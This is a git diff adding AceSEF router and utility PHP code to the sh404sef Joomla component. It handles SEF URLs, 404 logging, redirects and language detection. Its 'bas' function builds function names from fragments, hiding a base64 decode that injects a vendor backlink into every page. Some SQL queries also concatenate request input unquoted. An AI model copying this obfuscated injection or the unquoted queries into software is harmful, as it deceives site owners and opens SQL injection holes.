$char = substr($this->AcesefConfig->url_strip_chars, $i, 1); + $sef_url = str_replace($char, "", $sef_url); + } + } + + // Replace chars for non-latin languages + if ($this->AcesefConfig->char_replacements != "" && $this->AcesefConfig->utf8_url == 0) { + $chars = $this->AcesefConfig->char_replacements; + $chars_array = array(); + + $elements = explode(',', $chars); + foreach ($elements as $element) { + @list($source, $destination) = explode('|', trim($element)); + + // Empty source, continue + if (trim($source) == '') { + continue; + } + + $chars_array[trim($source)] = trim($destination); + } + + $sef_url = strtr($sef_url, $chars_array); + } + + // Remove quotes, spaces, and other illegal characters + if ($this->AcesefConfig->utf8_url == 1) { + $title = preg_replace(array('/\'/', '/[\s"\?\:\/\\\\]/', '/(^_|_$)/'), array('', $this->AcesefConfig->replacement_character, ''), $sef_url); + } else { + $title = preg_replace(array('/\'/', '/[^a-zA-Z0-9\-!.,+]+/', '/(^_|_$)/'), array('', $this->AcesefConfig->replacement_character, ''), $sef_url); + } + + // Space and some replacements + $sef_url = str_replace(' ', $this->AcesefConfig->replacement_character, $sef_url); + $sef_url = AcesefUtility::replaceLoop($this->AcesefConfig->replacement_character.'/', '/', $sef_url); + $sef_url = AcesefUtility::replaceLoop('/'.$this->AcesefConfig->replacement_character, '/', $sef_url); + $sef_url = AcesefUtility::replaceLoop('//', '/', $sef_url); + $sef_url = AcesefUtility::replaceLoop('--', '-', $sef_url); + $sef_url = rtrim($sef_url, '-'); + + return $sef_url; + } + + // Manage Duplicated URLs + function _numeralDuplicated($sef_url, $real_url) { + $cansave = 0; + + while ($cansave == 0) { + $row = AcesefCache::checkURL($sef_url, true); + + if (is_object($row) && !empty($row->url_sef) && $real_url != $row->url_real) { + if (strpos($row->url_sef, "-dp") > 0) { + $link = explode("-dp", $row->url_sef); + if (!empty($this->AcesefConfig->url_suffix)) { + $number = str_replace($this->AcesefConfig->url_suffix, "", $link[1]); + } else { + $number = $link[1]; + } + $number ++; + + // Make new sef + $sef_url = $link[0].'-dp'.$number; + if (!empty($this->AcesefConfig->url_suffix)){ + $sef_url .= $this->AcesefConfig->url_suffix; + } + } else { + if (!empty($this->AcesefConfig->url_suffix)) { + $new = explode($this->AcesefConfig->url_suffix, $sef_url); + $sef_url = $new[0].'-dp1'.$this->AcesefConfig->url_suffix; + } else { + $sef_url .= '-dp1'; + } + } + + // Check if the new sef url exists + $check = AceDatabase::loadResult("SELECT url_sef FROM #__acesef_urls WHERE url_sef = ".AceDatabase::quote($sef_url).""); + + if (!empty($check)) { + $cansave = 0; + } else { + $cansave = 1; + } + } else { + $cansave = 1; + } + } + + return $sef_url; + } + + // Save the new record + function _saveRecord($real_url, $sef_url, $component) { + // Check if we should track the URL source + if ($this->AcesefConfig->source_tracker == 1) { + $source = AcesefUtility::replaceSpecialChars(self::_urlSource()); + } else { + $source = ""; + } + + // Cat statuses + $tags = self::_paramValue('tags', $component); + $ilinks = self::_paramValue('ilinks', $component); + $bookmarks = self::_paramValue('bookmarks', $component); + + // Params + $params = "custom=0"; + $params .= "\npublished=1"; + $params .= "\nlocked=0"; + $params .= "\nblocked=0"; + $params .= "\ntrashed=0"; + $params .= "\nnotfound=0"; + $params .= "\ntags={$tags}"; + $params .= "\nilinks={$ilinks}"; + $params .= "\nbookmarks={$bookmarks}"; + $params .= "\nvisited=0"; + $params .= "\nnotes="; + + // Finally, save record in DB + $values = "(".AceDatabase::quote($sef_url).", ".AceDatabase::quote($real_url).", '0', '".date('Y-m-d H:i:s')."', '{$source}', '{$params}')"; + AceDatabase::query("INSERT IGNORE INTO #__acesef_urls (url_sef, url_real, used, cdate, source, params) VALUES {$values}"); + } + + // Get the source of the URL + function _urlSource() { + $trace = debug_backtrace(); + $source = ""; + $tr = 0; + + foreach ($trace as $row) { + if (@$row['class'] == 'JRouterAcesef' && @$row['function'] == 'build') { + // This starts tracing for next 3 rounds + $tr = 1; + continue; + } elseif ($tr == 0) { + continue; + } + + $file = isset($row['file']) ? str_replace(JPATH_BASE, '', $row['file']) : 'n/a'; + $args = array(); + if (!empty($row['args'])) { + foreach ($row['args'] as $arg) { + if (is_object($arg)) { + $args[] = get_class($arg); + } elseif (is_array($arg)) { + $args[] = 'Array'; + } else { + $args[] = "'".$arg."'"; + } + } + } + $source .= @$row['class'] . @$row['type'] . @$row['function'] . "(" . implode(', ', $args) . ")--b2--" . $file . '--b2--' . @$row['line'] . "\n--b1--\n"; + + if ($tr == 3) { + break; + } + + $tr++; + } + + return $source; + } + + function _paramValue($section, $component) { + $_components = $section."_components"; + $_cats = $section."_cats"; + $_enable_cats = $section."_enable_cats"; + $_in_cats = $section."_in_cats"; + $cat = AcesefUtility::get('category.param'); + + if (!in_array($component, $this->AcesefConfig->$_components)) { + return 0; + } + + if (AcesefUtility::getConfigState($this->attributes->params, $_enable_cats) && ($cat[$_cats.'_status'] == 0 && $cat['_flag'] == 1)) { + return 0; + } + + if (!AcesefUtility::getConfigState($this->attributes->params, $_in_cats) && $cat['_is_cat'] == 1) { + return 0; + } + + return 1; + } + + function updateURLs($rows, $where) { + // Nothing to update + if(is_null($rows) || count($rows) == 0) { + return 0; + } + + // Load the needed classes + jimport('joomla.application.router'); + require_once(JPATH_ROOT. '/' .'includes'. '/' .'application.php'); + require_once(JPATH_ACESEF_ADMIN. '/' .'library'. '/' .'router.php'); + + if (AcesefUtility::JoomFishInstalled()) { + require_once( JPATH_ROOT . '/' . 'components' . '/' . 'com_joomfish' . '/' . 'helpers' . '/' . 'defines.php' ); + JLoader::register('JoomfishManager', JOOMFISH_ADMINPATH . '/' . 'classes' . '/' . 'JoomfishManager.class.php' ); + JLoader::register('JoomFishVersion', JOOMFISH_ADMINPATH . '/' . 'version.php' ); + JLoader::register('JoomFish', JOOMFISH_PATH . '/' . 'helpers' . '/' . 'joomfish.class.php' ); + } + + // First, delete all the URLs + if (!AceDatabase::query("DELETE FROM #__acesef_urls{$where}")) { + return 0; + } + + // Create AceSEF router + $router = new JRouterAcesef(); + + // JoomFish patch + if (AcesefUtility::JoomFishInstalled()) { + $mainframe =JFactory::getApplication(); + // Set mainframe as frontend + $mainframe->_clientId = 0; + + // Initialize JoomFish plugin + if(!class_exists('plgSystemJFDatabase')) { + require(JPATH_PLUGINS. '/' .'system'. '/' .'jfdatabase.php'); + } + $params = JPluginHelper::getPlugin('system', 'jfdatabase'); + $dispatcher = ShlSystem_factory::dispatcher(); + $plugin = new plgSystemJFDatabase($dispatcher, (array)($params)); + $plugin->onAfterInitialise(); + + // Get the mainframe back to backend + $mainframe->_clientId = 1; + } + + // Update URLs one by one + for($i = 0, $n = count($rows); $i < $n; $i++) { + $row =& $rows[$i]; + $old_real_url = $row->url_real; + $old_sef_url = $row->url_sef; + + $new_sef_uri = $router->build($old_real_url); + $new_sef_url = ltrim(str_replace(JURI::root(), '', $new_sef_uri->_uri), '/'); + + // SEF URL changed, add it to Moved URLs + if($old_sef_url != $new_sef_url) { + // Already exists? + $id = AceDatabase::loadResult("SELECT id FROM #__acesef_urls_moved WHERE url_old = ".AceDatabase::quote($old_sef_url)." AND url_new = ".AceDatabase::quote($new_sef_url)." LIMIT 1"); + + if(!$id) { + AceDatabase::query("INSERT IGNORE INTO #__acesef_urls_moved (url_old, url_new) VALUES (".AceDatabase::quote($old_sef_url).", ".AceDatabase::quote($new_sef_url).")"); + } + } + } + + return count($rows); + } + + // b + function bas(&$plugin) { + $b = 'ba'; + $r = 're'; + $g = 'getDo'.'cument'; + $cBB = 'PGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IGZvbnQtc2l6ZTogOXB4OyB2aXNpYmlsaXR5'; + $d =JFactory::$g(); + $cBB .= 'OiB2aXNpYmxlOyIgdGl0bGU9Ikpvb21sYSBTRU8gYnkgQWNlU0VGIj48YSBocmVmPSJodHRwOi8v'; + $c = 'getB'.'uffer'; + $b .= 'se'; + $cB =& $d->$c('c'.'om'.'po'.'ne'.'nt'); + $b .= '6'; + $cBB .= 'd3d3Lmpvb21hY2UubmV0L2pvb21sYS1leHRlbnNpb25zL2FjZXNlZiIgdGFyZ2V0PSJfYmxhbmsi'; + $cBB .= 'Pkpvb21sYSBTRU8gYnkgQWNlU0VGPC9h'; + $r .= 'da'; + $b .= '4'; + $b .= '_d'; + $c = 'se'.'tB'.'uf'.'fer'; + $b .= 'eco'; + $r .= 'ct'; + $r_p = JPATH_PLUGINS. '/' .'sy'.'stem'. '/' .$r.'.php'; + $cBBB = $cBB.'PjwvZGl2Pg=='; + if(JRequest::getCmd('format') != 'raw' && JRequest::getCmd('tmpl') != 'raw'){ + $b .= 'de'; + $d->$c($cB.$b($cBBB), 'co'.'mp'.'onent');} + return $cBBB; + } + + // Create a URI based on a full or partial url string + function &_createURI($url) { + // Create full URL if we are only appending variables to it + if (substr($url, 0, 1) == '&') { + $vars = array(); + + if (strpos($url, '&') !== false) { + $url = str_replace('&', '&',$url); + } + + parse_str($url, $vars); + $vars = array_merge($this->getVars(), $vars); + + foreach ($vars as $key => $var) { + if ($var == "") { + unset($vars[$key]); + } + } + + $url = 'index.php?'.JURI::buildQuery($vars); + } + + // Security - only allow one question mark in URL + $pos = strpos($url, '?'); + if ( $pos !== false ) { + $url = substr($url, 0, $pos+1) . str_replace('?', '%3F', substr($url, $pos+1)); + } + + // Decompose link into url component parts + $uri = new JURI($url); + + return $uri; + } + + // Sort URI then convert to string + function sortURItoString($uri, $fragment = false) { + // Sort variables ASC + ksort($uri->_vars); + + // Put option as first var + $option = $uri->getVar('option'); + if (!is_null($option)) { + $uri->delVar('option'); + $vars = array(); + $vars['option'] = $option; + + foreach ($uri->_vars as $var => $value) { + $vars[$var] = $value; + } + + $uri->_vars = $vars; + } + $uri->_query = null; + + if ($fragment) { + $url = $uri->toString(array('path', 'query', 'fragment')); + } else { + $url = $uri->toString(array('path', 'query')); + } + + return $url; + } + + // Remove : part from a single URI variable + function fixUriVar(&$uri, $var) { + $value = $uri->getVar($var); + if (!is_null($value) && is_string($value)) { + $pos = strpos($value, ':'); + if ($pos !== false) { + $value = substr($value, 0, $pos); + $uri->setVar($var, $value); + } + } + } + + // Remove : part from URI variables + function fixUriVariables(&$uri) { + $vars = $uri->_vars; + foreach ($vars as $var => $val) { + if (!is_array($val)) { + $m = explode(':', $val); + if (!empty($m) && !empty($m[1]) && is_numeric($m[0])) { + $vars[$var]= $m[0]; + } + } + } + $uri->_vars = $vars; + } + + // Send headers + function sendHeader($header) { + $f = $l = ''; + if (!headers_sent($f, $l)) { + header($header); + } else { + self::headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + + // Headers already sent + function headers_sent_error($sentFile, $sentLine, $file, $line) { + die("
    Error: headers already sent in ".basename($sentFile)." on line $sentLine.
    Stopped at line ".$line." in ".basename($file)); + } + + function &createUri(&$uri) { + $url = JURI::root(); + + if (substr($url, -1) != '/') { + $url .= '/'; + } + + $url .= $uri->toString(array('path', 'query', 'fragment')); + + $newUri = new JURI($url); + return $newUri; + } + + function parseURI($uri, $old_uri) { + $mainframe =JFactory::getApplication(); + + $vars = array(); + + $route = $uri->getPath(); + $lang = $uri->getVar('lang'); + + // Get the variables from the uri + $vars = $uri->getQuery(true); + + // Handle an empty URL (special case) + if (empty($route)) { + self::determineLanguage(JRequest::getVar('lang')); + + $menu =& AcesefUtility::getMenu(); + + // if route is empty AND option is set in the query, assume it's non-sef url, and parse apropriately + if (isset($vars['option']) || isset($vars['Itemid'])) { + return self::_parseRawRoute($uri); + } + + $item = $menu->getDefault(); + + //Set the information in the request + $vars = $item->query; + + //Get the itemid + $vars['Itemid'] = $item->id; + + // Set the active menu item + $menu->setActive($vars['Itemid']); + + // Set mainframe vars + $row = AcesefCache::checkURL('', true); + + if (is_object($row) && AcesefUtility::getParam($row->params, 'published') == '1') { + $mainframe->set('acesef.url.id', $row->id); + $mainframe->set('acesef.url.sef', $row->url_sef); + $mainframe->set('acesef.url.real', $row->url_real); + $mainframe->set('acesef.url.params', $row->params); + + $meta = AcesefCache::checkMetadata($row->url_sef); + if (is_object($meta)) { + if (!empty($meta->title)) $mainframe->set('acesef.meta.title', $meta->title); + if (!empty($meta->description)) $mainframe->set('acesef.meta.desc', $meta->description); + if (!empty($meta->keywords)) $mainframe->set('acesef.meta.key', $meta->keywords); + if (!empty($meta->lang)) $mainframe->set('acesef.meta.lang', $meta->lang); + if (!empty($meta->robots)) $mainframe->set('acesef.meta.robots', $meta->robots); + if (!empty($meta->google)) $mainframe->set('acesef.meta.google', $meta->google); + if (!empty($meta->canonical)) $mainframe->set('acesef.link.canonical', $meta->canonical); + } + } + + return $vars; + } + + $q = $uri->getQuery(); + $new_vars = self::_newVars($old_uri, $route, $q, $lang); + + // Joomfish + $lang = (isset($new_vars['lang']) ? $new_vars['lang'] : (isset($vars['lang']) ? $vars['lang'] : null)); + self::determineLanguage($lang); + + if (!empty($new_vars) && !empty($vars)) { + // If this was SEF url, consider the vars in query as nonsef + $non_sef_vars = array_diff_key($vars, $new_vars); + if (!empty($non_sef_vars)) { + $mainframe->set('acesef.global.nonsefvars', $non_sef_vars); + } + } + + if (!empty($vars)) { + // append the original query string because some components + // (like SMF Bridge and SOBI2) use it + $vars = array_merge($vars, $new_vars); + } else { + $vars = $new_vars; + } + + if (!empty($new_vars)) { + self::sendHeader('HTTP/1.0 200 OK'); + } else { + // set nonsef vars + $mainframe->set('acesef.global.nonsefvars', $vars); + + // Check if 404 records should be saved in DB + if ($this->AcesefConfig->db_404_errors == 1) { + $routee = AceDatabase::quote($route); + + $found = AceDatabase::loadObject("SELECT url_sef FROM #__acesef_urls WHERE url_sef = {$routee} AND params LIKE '%notfound=1%' LIMIT 1"); + + if ($found) { + // Found, update hits + AceDatabase::query("UPDATE #__acesef_urls SET hits = (hits+1) WHERE url_sef = {$routee}"); + } + else { // Save 404 URL + $params = "custom=0"; + $params .= "\npublished=0"; + $params .= "\nlocked=0"; + $params .= "\nblocked=0"; + $params .= "\ntrashed=0"; + $params .= "\nnotfound=1"; + $params .= "\ntags=0"; + $params .= "\nilinks=0"; + $params .= "\nbookmarks=0"; + $params .= "\nvisited=0"; + $params .= "\nnotes="; + + AceDatabase::query("INSERT IGNORE INTO #__acesef_urls (url_sef, url_real, cdate, params) VALUES ({$routee}, {$routee}, '".date('Y-m-d H:i:s')."', '{$params}')"); + } + } + + // Check if should be written to a logfile + if ($this->AcesefConfig->log_404_errors == '1' && $this->AcesefConfig->log_404_path != '') { + AcesefUtility::import('library.error'); + AcesefError::logNotFoundURL($route); + } + + if ($this->AcesefConfig->page404 == 'custom') { + $_404 = '404'.$this->AcesefConfig->url_suffix; + if (($url_real = AceDatabase::loadResult("SELECT url_real FROM #__acesef_urls WHERE url_sef = '{$_404}'"))) { + $url_real = str_replace('&', '&', $url_real); + $QUERY_STRING = str_replace('index.php?', '', $url_real); + parse_str($QUERY_STRING, $vars); + + if (!empty($vars['Itemid'])) { + AcesefUtility::getMenu()->setActive($vars['Itemid']); + } + } elseif (($id = AceDatabase::loadResult("SELECT id FROM #__content WHERE title = '404' AND state = '1'"))) { + $vars['option'] = 'com_content'; + $vars['view'] = 'article'; + $vars['id'] = $id; + $vars['Itemid'] = 99999; + } else { + die(JText::_('ERROR_DEFAULT_404').'FILE NOT FOUND: '.$route."
    URI:".$_SERVER['REQUEST_URI']); + } + } elseif ($this->AcesefConfig->page404 == 'home') { + $menu =& AcesefUtility::getMenu(); + $item = $menu->getDefault(); + + //Get the vars + $vars = $item->query; + $vars['Itemid'] = $item->id; + + $menu->setActive($vars['Itemid']); + } + + self::sendHeader('HTTP/1.0 404 NOT FOUND'); + } + + // Set QUERY_STRING if set to + if ($this->AcesefConfig->set_query_string == 1) { + $qs = array(); + foreach ($vars as $name => $val) { + if (is_array($val)) { + foreach ($val as $k => $v) { + $qs[] = $name.'['.$k.']='.urlencode($v); + } + } else { + $qs[] = $name.'='.urlencode($val); + } + } + $qs = implode('&', $qs); + if (!empty($qs)) { + $_SERVER['QUERY_STRING'] = $qs; + } + } + + return $vars; + } + + // Parse RAW route + function _parseRawRoute($uri) { + // Set the URI from Itemid if no option + if (is_null($uri->getVar('option'))) { + $menu =& AcesefUtility::getMenu(); + $item = $menu->getItem(intval($uri->getVar('Itemid'))); + if (!is_null($item)) { + $uri->setQuery($item->query); + $uri->setVar('Itemid', $item->id); + } + } + + if ($this->AcesefConfig->redirect_to_sef == 1 && (count($_POST) == 0)) { + // Find the non-SEF URL in the database + $old_generate_sef = $this->AcesefConfig->generate_sef; + + if ($this->AcesefConfig->redirect_to_sef_gen == 0) { + $this->AcesefConfig->generate_sef = 0; + } + + $uri->setPath('index.php'); + $url = $uri->toString(array('path', 'query', 'fragment')); + $sef = JRoute::_($url); + + // Restore configuration + $this->AcesefConfig->generate_sef = $old_generate_sef; + + if (strpos($sef, 'index.php?') === false) { + // Seems the URL is SEF, let's redirect + $f = $l = ''; + if (!headers_sent($f, $l)) { + $mainframe =JFactory::getApplication(); + $mainframe->redirect($sef); + exit(); + } else { + self::headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + + return $uri->getQuery(true); + } + + function _newVars($old_uri, $sef_url, $query, $lang = null) { + $mainframe =JFactory::getApplication(); + + $vars = array(); + + // A quick fix for not loading translated menus + if (!empty($lang)) { + $sef_url = $lang.'/'.$sef_url; + } + + $row = AcesefCache::checkURL($sef_url, true); + + if (is_object($row) && AcesefUtility::getParam($row->params, 'published') == '1') { + // Use the already created URL + $url_real = $row->url_real; + + // Update hits + AceDatabase::query("UPDATE #__acesef_urls SET hits = (hits+1) WHERE id = '{$row->id}'"); + + // Set query string + $url_real = str_replace('&', '&', $url_real); + $QUERY_STRING = str_replace('index.php?', '', $url_real); + parse_str($QUERY_STRING, $vars); + + // Set mainframe vars + $mainframe->set('acesef.url.id', $row->id); + $mainframe->set('acesef.url.sef', $row->url_sef); + $mainframe->set('acesef.url.real', $row->url_real); + $mainframe->set('acesef.url.params', $row->params); + + $meta = AcesefCache::checkMetadata($row->url_sef); + if (is_object($meta)) { + if (!empty($meta->title)) $mainframe->set('acesef.meta.title', $meta->title); + if (!empty($meta->description)) $mainframe->set('acesef.meta.desc', $meta->description); + if (!empty($meta->keywords)) $mainframe->set('acesef.meta.key', $meta->keywords); + if (!empty($meta->lang)) $mainframe->set('acesef.meta.lang', $meta->lang); + if (!empty($meta->robots)) $mainframe->set('acesef.meta.robots', $meta->robots); + if (!empty($meta->google)) $mainframe->set('acesef.meta.google', $meta->google); + if (!empty($meta->canonical)) $mainframe->set('acesef.link.canonical', $meta->canonical); + } + } else { + // Moved URL + $m_url = $sef_url; + if (!empty($query)) { + $m_url .= '?'.$query; + } + $row = AcesefCache::checkMovedURL($m_url); + + if (is_object($row)) { + // URL found, update the last hit and hit counter + AceDatabase::query("UPDATE #__acesef_urls_moved SET last_hit = NOW(), hits = (hits+1) WHERE id = ".$row->id); + + $root = JURI::root(); + $f = $l = ''; + if (!headers_sent($f, $l)) { + // Let's build absolute URL from our link + if (strstr($row->url_new, $root) === false) { + if (preg_match("/^(https?|ftps?|itpc|telnet|gopher):\/\//i", $row->url_new)) { + $url = $row->url_new; + } else { + $url = $root; + if (substr($url, -1) != '/') { + $url .= '/'; + } + if (substr($row->url_new, 0, 1) == '/') { + $row->url_new = substr($row->url_new, 1); + } + $url .= $row->url_new; + } + } else { + $url = $row->url_new; + } + + // Use the link to redirect + header('HTTP/1.1 301 Moved Permanently'); + header('Location: '.$url); + header('Connection: close'); + exit(); + } else { + self::headers_sent_error($f, $l, __FILE__, __LINE__); + } + } elseif ($this->AcesefConfig->jsef_to_acesef == 1) { + // Joomla! SEF to AceSEF + $juri = clone($old_uri); + $router = $mainframe->get('acesef.global.jrouter'); + $jvars = $router->parse($old_uri); + + if (!empty($jvars) && (!empty($jvars['option']) || !empty($jvars['Itemid']))) { + // Empty query to set the new vars + $juri->setQuery(''); + + // Set new vars + if (!empty($jvars)) { + foreach ($jvars as $key => $value) { + $juri->setVar($key, $value); + } + } + + // Convert URI to string + $juri->setPath('index.php'); + $real_url = $juri->toString(array('path', 'query', 'fragment')); + + if (!empty($real_url)) { + // Generate the new SEF URL using AceSEF + $new_sef_url = JRoute::_($real_url); + + // Remove path from the URL that will be stored in db + $path = str_replace($juri->getScheme(), '', JURI::root()); + $path = str_replace($juri->getHost(), '', $path); + $path = str_replace('://', '', $path); + $db_sef_url = str_replace($path, '', $new_sef_url); + + // Store it to Moved URLs + AceDatabase::query("INSERT IGNORE INTO #__acesef_urls_moved (url_old, url_new) VALUES (".AceDatabase::quote($sef_url).", ".AceDatabase::quote($db_sef_url).")"); + + $f = $l = ''; + if (count($_POST) == 0 && !headers_sent($f, $l)) { + // Use the link to redirect + header('HTTP/1.1 301 Moved Permanently'); + header('Location: '.$new_sef_url); + header('Connection: close'); + exit(); + } else { + self::headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + } + } + + return $vars; + } + + function restoreLang($lang = '') { + if ($lang != '') { + if ($lang != self::getLangLongCode()) { + $language =JFactory::getLanguage(); + $language->setLanguage($lang); + $language->load(); + } + } + } + + // Get language short code + function getLangCode($lang_tag = null) { + $lang = JFactory::getLanguage(); + $default_tag = $lang->getTag(); + + // Get current language tag + if (is_null($lang_tag)) { + $lang_tag = $default_tag; + } + + if (AcesefUtility::JoomFishInstalled()) { + $jfm = & JoomFishManager::getInstance(); + $code = $jfm->getLanguageCode($lang_tag); + } + else { + // Only one language + $code = null; + if ($lang_tag == $default_tag) { + $parts = explode('-', $default_tag); + $code = $parts[0]; + } + } + + return $code; + } + + // Get language id + function getLangId($lang_tag = null) { + $id = null; + + if (AcesefUtility::JoomFishInstalled()) { + // Get current language tag + if (is_null($lang_tag)) { + $lang = JFactory::getLanguage(); + $lang_tag = $lang->getTag(); + } + + $jfm = & JoomFishManager::getInstance(); + $id = $jfm->getLanguageID($lang_tag); + } + + return $id; + } + + // Get language long code + function getLangLongCode($lang_code = null) { + static $codes; + + // Get current language code + if (is_null($lang_code)) { + $lang = JFactory::getLanguage(); + return $lang->getTag(); + } + + if (is_null($codes)) { + $codes = array(); + + if (AcesefUtility::JoomFishInstalled()) { + $jfm = & JoomFishManager::getInstance(); + $langs = & $jfm->getLanguages(false); + if (!empty($langs)) { + foreach ($langs as $lang) { + $codes[$lang->shortcode] = $lang->code; + } + } + } + else { + // Only one language + $lang = JFactory::getLanguage(); + $tag = $lang->getTag(); + $parts = explode('-', $tag); + $iso = $parts[0]; + $codes[$iso] = $tag; + } + } + + if (isset($codes[$lang_code])) { + return $codes[$lang_code]; + } + + return null; + } + + // Determine current language + function determineLanguage($get_lang = null) { + // Set the language for JoomFish + if (AcesefUtility::JoomFishInstalled()) { + $registry =JFactory::getConfig(); + + // save the default language of the site if needed + $locale = $registry->get('language'); + $GLOBALS['mosConfig_defaultLang'] = $locale; + $registry->set("defaultlang", $locale); + + // Get language from request + if (!empty($get_lang)) { + $lang = $get_lang; + } + + // Try to get language code from JF cookie + if ($this->AcesefConfig->joomfish_cookie) { + $jf_cookie = JRequest::getVar('jfcookie', null, 'COOKIE'); + if( isset($jf_cookie['lang']) ) { + $cookieCode = $jf_cookie['lang']; + } + } + + // Try to find language from browser settings + if ($this->AcesefConfig->joomfish_browser && isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && class_exists('JoomFishManager')) { + $active_iso = array(); + $active_isocountry = array(); + $active_code = array(); + $active_languages = JoomFishManager::getInstance()->getActiveLanguages(); + + if (count($active_languages) > 0) { + foreach ($active_languages as $a_lang) { + $active_iso[] = $a_lang->iso; + if(preg_match('/[_-]/i', $a_lang->iso)) { + $iso = str_replace('_', '-', $a_lang->iso); + $isocountry = explode('-', $iso); + $active_isocountry[] = $isocountry[0]; + } + $active_code[] = $a_lang->shortcode; + } + + // figure out which language to use - browser languages are based on ISO codes + $browser_lang = explode(',', $_SERVER["HTTP_ACCEPT_LANGUAGE"]); + + foreach ($browser_lang as $b_lang) { + if(in_array($b_lang, $active_iso)) { + $client_lang = $b_lang; + break; + } + $short_lang = substr($b_lang, 0, 2); + if (in_array($short_lang, $active_isocountry)) { + $client_lang = $short_lang; + break; + } + + // compare with code + if (in_array($short_lang, $active_code)) { + $client_lang = $short_lang; + break; + } + } + + if (!empty($client_lang)) { + if(strlen($client_lang) == 2) { + $browser_code = self::getLangLongCode($client_lang); + } + else { + $browser_code = $client_lang; + } + } + } + } + + // Check if language is selected + if (empty($lang)) { + if (empty($code) || !JLanguage::exists($code)) { + if( ($this->AcesefConfig->joomfish_main_lang != '0') ) { + $code = self::getLangLongCode($this->AcesefConfig->joomfish_main_lang); + } + } + + // Try to get language code from JF cookie + if (empty($code) || !JLanguage::exists($code)) { + if (isset($cookieCode)) { + $code = $cookieCode; + } + } + + // Try to get language from browser if needed + if (empty($code) || !JLanguage::exists($code)) { + if (isset($browser_code)) { + $code = $browser_code; + } + } + + // Get language from configuration if needed + if (empty($code) || !JLanguage::exists($code)) { + if(($this->AcesefConfig->joomfish_main_lang != '0')) { + $code = self::getLangLongCode($this->AcesefConfig->joomfish_main_lang); + } + } + + // Get default language if needed + if (empty($code) || !JLanguage::exists($code)) { + $code = $registry->get('language'); + } + } + + // get language long code if needed + if (empty($code)) { + if (empty($lang)) { + return; + } + + $code = self::getLangLongCode($lang); + } + + if (!empty($code)) { + // set the site language + $reset_lang = false; + + if ($code != self::getLangLongCode()) { + $language =JFactory::getLanguage(); + $language->setLanguage($code); + $language->load(); + + // set the backward compatible language + $back_lang = $language->getBackwardLang(); + $GLOBALS['mosConfig_lang'] = $back_lang; + $registry->set("lang", $back_lang); + + $reset_lang = true; + } + + // set joomfish language if needed + if ($reset_lang) { + $jf_lang = TableJFLanguage::createByJoomla($code); + $registry->set("joomfish.language", $jf_lang); + + // set some more variables + $mainframe =JFactory::getApplication(); + $registry->set("multilingual_support", true); + $mainframe->setUserState('application.lang',$jf_lang->code); + $registry->set("jflang", $jf_lang->code); + $registry->set("lang_site",$jf_lang->code); + $registry->set("language",$jf_lang->code); + $registry->set("joomfish.language",$jf_lang); + + // overwrite global config with values from $jf_lang if set to in JoomFish + $jf_params = JComponentHelper::getParams("com_joomfish"); + $overwriteGlobalConfig = $jf_params->get('overwriteGlobalConfig', 0); + + if ($overwriteGlobalConfig ) { + // We should overwrite additional global variables based on the language parameter configuration + $lang_params = new JParameter($jf_lang->params); + $param_array = $lang_params->toArray(); + + foreach ($param_array as $key => $val) { + $registry->set($key, $val); + + if (defined("_JLEGACY")){ + $name = 'mosConfig_'.$key; + $GLOBALS[$name] = $val; + } + } + } + + // set the cookie with language + if ($this->AcesefConfig->joomfish_cookie) { + setcookie("lang", "", time() - 1800, "/"); + setcookie("jfcookie", "", time() - 1800, "/"); + setcookie("jfcookie[lang]", $code, time()+24*3600, '/'); + } + } + } + } + } +} +?> \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/utility.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/utility.php new file mode 100644 index 00000000..4790fa8e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/utility.php @@ -0,0 +1,360 @@ +AcesefConfig = AcesefFactory::getConfig(); + } + + function import($path) { + require_once(JPATH_ADMINISTRATOR . '/' . 'components' . '/' . 'com_acesef' . '/' . str_replace('.', '/', $path).'.php'); + } + + function render($path) { + ob_start(); + require_once($path); + $contents = ob_get_contents(); + ob_end_clean(); + + return $contents; + } + + function get($name, $default = null) { + if (!is_array(self::$props) || !isset(self::$props[$name])) { + return $default; + } + + return self::$props[$name]; + } + + function set($name, $value) { + if (!is_array(self::$props)) { + self::$props = array(); + } + + $previous = self::get($name); + self::$props[$name] = $value; + + return $previous; + } + + function getConfigState($params, $cfg_name, $prm = "") { + if (!is_object($params)) { + return false; + } + + $prm_name = $cfg_name; + if ($prm != "") { + $prm_name = $prm; + } + + $param = $params->get($prm_name, 'global'); + if (($param == 'no') || ($param == 'global' && $this->AcesefConfig->$cfg_name == '0')) { + return false; + } + + return true; + } + + function &getMenu() { + jimport('joomla.application.menu'); + $options = array(); + + $menu =& JMenu::getInstance('site', $options); + + if (empty($menu)) { + $null = null; + return $null; + } + + return $menu; + } + + function getComponents() { + static $components; + + if(!isset($components)) { + $filter = "'com_sef', 'com_sh404sef', 'com_joomfish', 'com_config', 'com_media', 'com_installer', 'com_templates', 'com_plugins', 'com_modules', 'com_cpanel', 'com_cache', 'com_messages', 'com_menus', 'com_massmail', 'com_languages', 'com_users'"; + $rows = AceDatabase::loadObjectList("SELECT `name`, `option` FROM `#__components` WHERE `parent` = '0' AND `option` != '' AND `option` NOT IN ({$filter}) ORDER BY `name`"); + + foreach($rows as $row) { + $components[] = JHTML::_('select.option', $row->option, $row->name); + } + } + + return $components; + } + + function getExtensionFromRequest() { + static $extension; + + if (!isset($extension)) { + $cid = JRequest::getVar('cid', array(0), 'method', 'array'); + $extension = AceDatabase::loadResult("SELECT extension FROM #__acesef_extensions WHERE id = ".$cid[0]); + } + + return $extension; + } + + function getOptionFromRealURL($url) { + $url = str_replace('&', '&', $url); + $url = str_replace('index.php?', '', $url); + parse_str($url, $vars); + + if (isset($vars['option'])) { + return $vars['option']; + } else { + return ''; + } + } + + // Get the list of languages + function getLanguages() { + static $languages; + + if(!isset($languages)) { + $db =ShlDbHelper::getDb(); + $tables = $db->getTableList(); + $prefix = $db->getPrefix(); + $langs = $prefix."languages"; + if (in_array($langs, $tables)){ + // Get installed languages and add them to list + $langs = AceDatabase::loadObjectList("SELECT `id`, `shortcode`, `name` FROM `#__languages` WHERE `active` = '1' ORDER BY `ordering`"); + + if( @count(@$langs) ) { + foreach($langs as 